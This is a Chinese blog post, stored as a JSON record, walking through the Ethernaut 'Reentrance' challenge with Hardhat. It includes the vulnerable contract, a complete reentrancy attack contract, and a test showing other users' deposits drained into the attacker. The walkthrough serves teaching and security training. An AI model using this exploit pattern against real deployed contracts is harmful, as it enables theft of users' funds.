{"content":{"title":"用Hardhat闯关Ethernaut题10 -reentrance","body":"# Reentrance合约\r\n## 任务：把合约里面的钱全部取出来就行。\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\r\n\r\ncontract Reentrance {\r\n    using SafeMath for uint256;\r\n    mapping(address => uint256) public balances;\r\n\r\n    function donate(address _to) public payable {\r\n        balances[_to] = balances[_to].add(msg.value);\r\n    }\r\n\r\n    function balanceOf(address _who) public view returns (uint256 balance) {\r\n        return balances[_who];\r\n    }\r\n\r\n    function withdraw(uint256 _amount) public {\r\n        if (balances[msg.sender] >= _amount) {\r\n            (bool result, ) = msg.sender.call.value(_amount)(\"\");\r\n            if (result) {\r\n                _amount;\r\n            }\r\n            balances[msg.sender] -= _amount;\r\n        }\r\n    }\r\n\r\n    receive() external payable {}\r\n}\r\n```\r\n\r\n这道题就是典型的重入攻击（简单来说就是攻击合约利用自己的回调函数对被攻击合约实现循环调用），解题思路就是创建一个攻击合约，重写`receive `函数（在`receive`函数里面继续调用`withdraw`）。\r\n\r\n## 攻击合约：\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ncontract AttackReentrance {\r\n    address payable target;\r\n    address payable public owner;\r\n    uint256 amount = 1 ether;\r\n\r\n    constructor(address payable _target) public payable {\r\n        target = _target;\r\n        owner = msg.sender;\r\n    }\r\n\r\n    function donate() public payable {\r\n        (bool success, ) = target.call.value(amount)(\r\n            abi.encodeWithSignature(\"donate(address)\", address(this))\r\n        );\r\n        require(success, \"donate fail\");\r\n    }\r\n\r\n    function attack() public payable {\r\n        (bool success, ) = target.call(\r\n            abi.encodeWithSignature(\"withdraw(uint256)\", amount)\r\n        );\r\n        require(success, \"attack fail\");\r\n    }\r\n\r\n    receive() external payable {\r\n        (bool success, ) = target.call(\r\n            abi.encodeWithSignature(\"withdraw(uint256)\", amount)\r\n        );\r\n        require(success, \"receive error\");\r\n    }\r\n}\r\n```\r\n\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\nconst { parseEther } = require(\"ethers/lib/utils\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Reentrance;\r\n    var AttackReentrance;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const ReentranceInstance = await ethers.getContractFactory(\"Reentrance\");\r\n        Reentrance = await ReentranceInstance.deploy();\r\n        const AttackReentranceInstance = await ethers.getContractFactory(\"AttackReentrance\");\r\n        AttackReentrance = await AttackReentranceInstance.connect(users[0]).deploy(Reentrance.address, {\r\n            value: parseEther(\"1\"),\r\n        });\r\n    });\r\n\r\n    it(\"user donate test\", async function () {\r\n        for (let index = 1; index < 10; index++) {\r\n            await Reentrance.connect(users[index]).donate(users[index].address, {\r\n                value: parseEther(\"10\"),\r\n            });\r\n        }\r\n\r\n        const balance = await ethers.provider.getBalance(Reentrance.address);\r\n\r\n        expect(balance).to.equal(parseEther(\"90\"));\r\n    });\r\n    it(\"hack test\", async function () {\r\n        await AttackReentrance.connect(users[0]).donate();\r\n\r\n        const attackBalance = await Reentrance.balances(AttackReentrance.address);\r\n\r\n        expect(attackBalance).to.equal(parseEther(\"1\"));\r\n\r\n        await AttackReentrance.connect(users[0]).attack();\r\n\r\n        const balance1 = await ethers.provider.getBalance(Reentrance.address);\r\n        const balance2 = await ethers.provider.getBalance(AttackReentrance.address);\r\n\r\n        expect(balance1).to.equal(0);\r\n        expect(balance2).to.equal(parseEther(\"91\"));\r\n    });\r\n});\r\n```\r\n\r\n## 测试结果：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/yCNe5IIF632828ed68f65.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmZEiJrpy22A6BbMzxGHMzHn2D8cTEgvpr1rEApW6qYwLM","timestamp":1668563425,"version":1}